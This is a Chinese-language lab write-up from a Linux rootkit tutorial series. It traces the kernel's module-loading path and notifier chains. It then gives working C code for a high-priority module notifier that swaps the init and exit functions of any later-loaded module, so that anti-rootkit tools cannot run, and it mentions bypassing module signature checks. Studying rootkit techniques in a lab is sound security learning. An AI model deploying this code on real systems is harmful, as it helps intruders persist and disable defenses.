Linux Rootkit 实验 | 00020 Rootkit 基本功能实现x阻止模块加载
醉里挑灯看剑，梦回吹角连营。八百里分麾下炙，五十弦翻塞外声，沙场秋点兵。
实验说明
本次实验将初步实现 rootkit 的基本功能：
- 阻止其他内核模块加载
- 提供 root 后门
- 隐藏文件
- 隐藏进程
- 隐藏端口
- 隐藏内核模块
本次实验基于 0001 实验中学习的挂钩技术。
注：由于本次实验内容过多，故分为00020到00025六个实验报告分别讲解。
本节实现“阻止其他内核模块加载”功能
本系列实验学习自 novice 师傅。感谢师傅的无私分享！
实验环境
uname -a:
Linux kali 4.6.0-kali1-amd64 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux
GCC version:6.1.1
上述环境搭建于虚拟机，另外在没有特殊说明的情况下，均以 root 权限执行。
注：后面实验参考的是4.10.10的源码
实验过程
控制内核模块加载
首先如果可以，把进来的漏洞堵上，防止其他人进入系统。接下来，就是阻止可能有威胁的内核代码执行（如 Anti-rootkit 之类），这个有些难，我们先做到控制内核模块的加载，之后才是提供其他功能。先保障生存再展开工作 :)
控制内核模块的加载，可以从通知链机制开始。“简单来讲，当某个子系统或者模块发生某个事件时，该子系统主动遍历某个链表，而这个链表中记录着其他子系统或者模块注册的事件处理函数，通过传递恰当的参数调用这个处理函数达到事件通知的目的。”
当我们注册一个模块通知处理函数，在模块完成加载后，开始初始化前，状态为MODULE_STATE_COMING时，我们把它的入口函数和出口函数替换掉，就达到了阻止模块加载的目的。下面结合内核源码进行解释：
首先进入init_module的定义，它的行为非常好理解：
// kernel/module.c
SYSCALL_DEFINE3(init_module, void __user *, umod,
unsigned long, len, const char __user *, uargs)
{
int err;
struct load_info info = { };
// 检查内核是否允许加载模块
err = may_init_module();
if (err)
return err;
pr_debug("init_module: umod=%p, len=%lu, uargs=%p\n",
umod, len, uargs);
// 把模块从用户区复制到内核区
err = copy_module_from_user(umod, len, &info);
if (err)
return err;
// 交给 load_module 函数进一步处理
return load_module(&info, uargs, 0);
}接着跟进到load_module中。这个函数有点长，我们只看关注的地方：
// kernel/module.c
static int load_module(struct load_info *info, const char __user *uargs, int flags)
{
...
// 检查模块签名，在内核编译时配置了`CONFIG_MODULE_SIG`才会生效
err = module_sig_check(info, flags);
if (err)
goto free_copy;
...
/* Finally it's fully formed, ready to start executing. */
// 到这里，模块已经完成加载，即将执行
err = complete_formation(mod, info);
if (err)
goto ddebug_cleanup;
// 我们注册的通知处理函数将在`prepare_coming_module`被调用
err = prepare_coming_module(mod);
if (err)
goto bug_cleanup;
...
/* Link in to syfs. */
// 这一步使模块与 sysfs 发生联系，虽然我们后边用不到，但还是说一下
err = mod_sysfs_setup(mod, info, mod->kp, mod->num_kp);
if (err < 0)
goto coming_cleanup;
...
// 在这里，模块的入口函数将被执行，但是已经被我们替换过了 :)
return do_init_module(mod);上面的module_sig_check函数我们暂时不需要关注，这里列出来是为了提醒大家，如果内核开启了模块签名检查的选项，那么为了加载 rootkit 需要绕过这个防御措施。那时，可以从这个地方的代码入手（但是似乎内核签名检查要求不是很严格）。
下面我们跟进看一下prepare_coming_module：
static int prepare_coming_module(struct module *mod)
{
int err;
ftrace_module_enable(mod);
err = klp_module_coming(mod);
if (err)
return err;
// 这里是关键点！它会调用通知链中的通知处理函数，
// MODULE_STATE_COMING 会传递给我们的处理函数
blocking_notifier_call_chain(&module_notify_list,
MODULE_STATE_COMING, mod);
return 0;
}相当于，内核告诉模块通知链的通知处理函数一个信息：MODULE_STATE_COMING，即一个模块准备好了，同时把这个模块传递给处理函数。我们只需要在处理函数中用假的入口/出口函数替代掉模块自己的入口/出口函数。
跟进到blocking_notifier_call_chain：
// kernel/notifier.c
int blocking_notifier_call_chain(struct blocking_notifier_head *nh, unsigned long val, void *v)
{
return __blocking_notifier_call_chain(nh, val, v, -1, NULL);
}再跟进：
int __blocking_notifier_call_chain(struct blocking_notifier_head *nh, \
unsigned long val, void *v, \
int nr_to_call, int *nr_calls)
{
int ret = NOTIFY_DONE;
/*
* We check the head outside the lock, but if this access is
* racy then it does not matter what the result of the test
* is, we re-check the list after having taken the lock anyway:
*/
if (rcu_access_pointer(nh->head)) {
down_read(&nh->rwsem);
// 这里！它将调用我们的通知处理函数
ret = notifier_call_chain(&nh->head, val, v, nr_to_call,
nr_calls);
up_read(&nh->rwsem);
}
return ret;
}跟进到notifier_call_chain：
/**
* notifier_call_chain - Informs the registered notifiers about an event.
* @nl: Pointer to head of the blocking notifier chain
* @val: Value passed unmodified to notifier function
* @v: Pointer passed unmodified to notifier function
* @nr_to_call: Number of notifier functions to be called. Don't care
* value of this parameter is -1.
* @nr_calls: Records the number of notifications sent. Don't care
* value of this field is NULL.
* @returns: notifier_call_chain returns the value returned by the
* last notifier function called.
*/
static int notifier_call_chain(struct notifier_block **nl,
unsigned long val, void *v,
int nr_to_call, int *nr_calls)
{
int ret = NOTIFY_DONE;
struct notifier_block *nb, *next_nb;
nb = rcu_dereference_raw(*nl);
while (nb && nr_to_call) {
next_nb = rcu_dereference_raw(nb->next);
...
// 这里！最终调用了我们的处理函数
ret = nb->notifier_call(nb, val, v);
...
}注意，用于描述通知处理函数的结构体是struct notifier_block，这可以从负责注册/注销模块通知处理函数的函数那里看到（它们传入的参数正是）：
// kernel/module.c
int register_module_notifier(struct notifier_block *nb)
{
return blocking_notifier_chain_register(&module_notify_list, nb);
}
int unregister_module_notifier(struct notifier_block *nb)
{
return blocking_notifier_chain_unregister(&module_notify_list, nb);
}对于如何注册我们就不再跟进了。大家有兴趣可以跟进看看。我们下面跟进到struct notifier_block结构体的定义：
struct notifier_block;
typedef int (*notifier_fn_t)(struct notifier_block *nb,
unsigned long action, void *data);
struct notifier_block {
notifier_fn_t notifier_call;
struct notifier_block __rcu *next;
int priority;
};也就是说，我们编写一个通知处理函数，然后填充一个struct notifier_block，最后用register_module_notifier注册就可以了。
下面开始干活！
首先，声明一个通知处理函数，并填充结构体：
int module_notifier(struct notifier_block *nb,
unsigned long action, void *data);
struct notifier_block nb = {
.notifier_call = module_notifier,
.priority = INT_MAX
};然后实现通知处理函数（这里实在佩服 novice 师傅，这代码我一时半会真的写不出来，需要学习内核开发的知识。读代码理解代码是一回事，hack代码是另一回事）：
int fake_init(void);
void fake_exit(void);
int module_notifier(struct notifier_block *nb,
unsigned long action, void *data)
{
struct module *module;
unsigned long flags;
// 定义锁。
DEFINE_SPINLOCK(module_notifier_spinlock);
module = data;
printk("Processing the module: %s\n", module->name);
//保存中断状态加锁。
spin_lock_irqsave(&module_notifier_spinlock, flags);
switch (module->state) {
case MODULE_STATE_COMING:
printk("Replacing init and exit functions: %s.\n",
module->name);
// 偷天换日：篡改模块的初始函数与退出函数。
module->init = fake_init;
module->exit = fake_exit;
break;
default:
break;
}
// 恢复中断状态解锁。
spin_unlock_irqrestore(&module_notifier_spinlock, flags);
return NOTIFY_DONE;
}
int fake_init(void)
{
printk("%s\n", "Fake init.");
return 0;
}
void fake_exit(void)
{
printk("%s\n", "Fake exit.");
return;
}最后，分别在入口和出口函数中注册和注销：
// init
register_module_notifier(&nb);
// exit
unregister_module_notifier(&nb);测试结果如下：
首先我们在正常情况下加载以及清除lamb模块：
接着我们加载guard模块，再测试lamb模块。可以看到，我们先加载guard模块，再加载lamb模块，它的入口和出口函数已经被Fake替换。我们卸载lamb和guard，再次加载lamb模块，发现加载和卸载又恢复正常。
实验总结与思考
感觉 Linux kernel 虽然是用 C 写的，但有很鲜明的面向对象的特点。尤其是在结构体中嵌入函数指针作为成员，几乎就是类+方法的翻版。带着这种背景观点去探索源码可能会好一些，你看到某些结构体，可以猜测它们会不会有对应的一些方法。
从探索模块加载过程的旅程来看，阅读内核源码没有想象中的难，也并非枯燥，而是充满了乐趣，也许是因为带着问题去探索吧。
我们注意到，上面的通知处理函数使用了锁机制。这是内核编程中经常需要注意的。
拓展延伸
通知链介绍
在Linux内核中，各个子系统之间有很强的相互关系，某些子系统可能对其它子系统产生的事件感兴趣。为了让某个子系统在发生某个事件时通知感兴趣的子系统，Linux内核引入了通知链技术。通知链只能够在内核的子系统之间使用，而不能够在内核和用户空间进行事件的通知。
简单来说，通知链就是一个单向链表。
通知链代码主要位于kernel/notifier.c和kernel/notifier.h中。
通知链的核心是：
struct notifier_block;
typedef int (*notifier_fn_t)(struct notifier_block *nb,
unsigned long action, void *data);
struct notifier_block {
notifier_fn_t notifier_call;
struct notifier_block __rcu *next;
int priority;
};上面的__rcu是编译器相关的宏定义，我们暂时不去管它。
其中notifier_call即通知处理函数的指针，*next是链表的指针，priority是优先级，同一条通知链上的节点数字越高，优先级越大，其处理函数就会优先被执行。这也是我们上边把priority设定为INT_MAX的原因。
内核中定义了四种通知链类型，如下：
struct atomic_notifier_head {
spinlock_t lock;
struct notifier_block __rcu *head;
};
struct blocking_notifier_head {
struct rw_semaphore rwsem;
struct notifier_block __rcu *head;
};
struct raw_notifier_head {
struct notifier_block __rcu *head;
};
struct srcu_notifier_head {
struct mutex mutex;
struct srcu_struct srcu;
struct notifier_block __rcu *head;
};kernel/notifier.h的注释解释了它们之间的区别：
/*
* Notifier chains are of four types:
*
* Atomic notifier chains: Chain callbacks run in interrupt/atomic
* context. Callouts are not allowed to block.
* Blocking notifier chains: Chain callbacks run in process context.
* Callouts are allowed to block.
* Raw notifier chains: There are no restrictions on callbacks,
* registration, or unregistration. All locking and protection
* must be provided by the caller.
* SRCU notifier chains: A variant of blocking notifier chains, with
* the same restrictions.
*/
参照kernel/module.h可以看出，module依赖的通知链是blocking类型：
static BLOCKING_NOTIFIER_HEAD(module_notify_list);
int register_module_notifier(struct notifier_block *nb)
{
return blocking_notifier_chain_register(&module_notify_list, nb);
}更多关于通知链的内容，请阅读【参考资料】。